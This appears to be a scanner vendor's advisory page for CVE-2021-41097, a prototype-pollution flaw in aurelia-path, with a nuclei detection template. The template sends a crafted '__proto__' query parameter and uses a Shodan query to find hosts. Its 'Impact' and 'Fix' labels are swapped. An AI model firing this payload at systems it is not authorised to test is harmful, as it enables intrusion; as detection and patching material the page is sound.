Aurelia-Path < 1.1.7 - Prototype Pollution

highseverity

7.5CVSS score

4.9%likelihood of exploitation, next 30 days

92%of all CVEs are less likely

Readycheck to confirm it

Aurelia-path before 1.1.7 contains a prototype pollution caused by parsing malicious URL parameters, letting attackers modify Object.prototype, exploit requires the application to parse user-controlled URLs.

Impact

Update to version 1.1.7 or later.

Fix

Aurelia-path parseQueryString function was found vulnerable to prototype pollution via crafted __proto__ URL parameters.

How to confirm it

Send: GET {{BaseURL}}/blog/?__proto__[polluted]=polluted
Positive when: status_code == 200 and contains_all(body, "aurelia-path", "parseQueryString") and contains_any(body, "1.1.0", "1.1.1", "1.1.2", "1.1.3", "1.1.4", "1.1.5", "1.1.6")

Run it with nuclei: nuclei -id CVE-2021-41097 -u <target>

The full check

id: CVE-2021-41097

info:
  name: Aurelia-Path < 1.1.7 - Prototype Pollution
  author: 0x_Akoko
  severity: high
  description: |
    Aurelia-path before 1.1.7 contains a prototype pollution caused by parsing malicious URL parameters, letting attackers modify Object.prototype, exploit requires the application to parse user-controlled URLs.
  impact: |
    Update to version 1.1.7 or later.
  remediation: |
    Aurelia-path parseQueryString function was found vulnerable to prototype pollution via crafted __proto__ URL parameters.
  reference:
    - https://github.com/aurelia/path/issues/44
    - https://security.snyk.io/vuln/SNYK-JS-AURELIAPATH-1579475
    - https://nvd.nist.gov/vuln/detail/CVE-2021-41097
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H
    cvss-score: 7.5
    cwe-id: CWE-1321
  metadata:
    max-request: 1
    verified: true
    vendor: aurelia
    product: path
    shodan-query: http.component:"aurelia"
  tags: cve,cve2021,aurelia,prototype-pollution,javascript,passive,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/blog/?__proto__[polluted]=polluted"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "aurelia-path", "parseQueryString")'
          - 'contains_any(body, "1.1.0", "1.1.1", "1.1.2", "1.1.3", "1.1.4", "1.1.5", "1.1.6")'
        condition: and

    extractors:
      - type: regex
        group: 1
        part: body
        regex:
          - 'data-version="([0-9.]+)"'
          - 'version["\s:]+([0-9.]+)'

References

Use this check only on systems you are authorised to test. Where the data comes from